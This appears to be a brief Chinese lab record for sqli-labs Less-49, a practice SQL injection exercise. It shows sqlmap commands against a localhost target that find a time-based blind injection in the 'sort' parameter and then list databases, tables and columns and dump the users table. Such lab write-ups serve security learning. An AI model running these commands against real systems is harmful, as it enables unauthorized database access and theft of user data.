sqli-labs-Less-49

SQLI-LAPS 实验记录

Less-49

这一关与上一关类似，也是盲注，页面上没有任何反馈信息，同样我们采用sqlmap工具来帮助进行自动化注入。

首先我们在命令行中输入sqlmap命令：

sqlmap -u http://localhost/sqli-labs/Less-49/?sort=1 --batch

结果如图所示，只有时间盲注方式可以选择，接下来我们继续采用sqlmap自动化注入。

sqlmap -u http://localhost/sqli-labs/Less-49/?sort=1 --batch --dbs

结果如图所示，页面返回数据库的名称，注入有效。

---

之后，我们可以继续使用sqlmap注入的方式，对表名、列名等内容进行注入。

• 爆出表名：

sqlmap -u http://localhost/sqli-labs/Less-49/?sort=1 --batch -D security --tables

• 爆出列名：

sqlmap -u http://localhost/sqli-labs/Less-49/?sort=1 --batch -D security -T users --columns

• 爆出内容：

sqlmap -u http://localhost/sqli-labs/Less-49/?sort=1 --batch -D security -T users --dump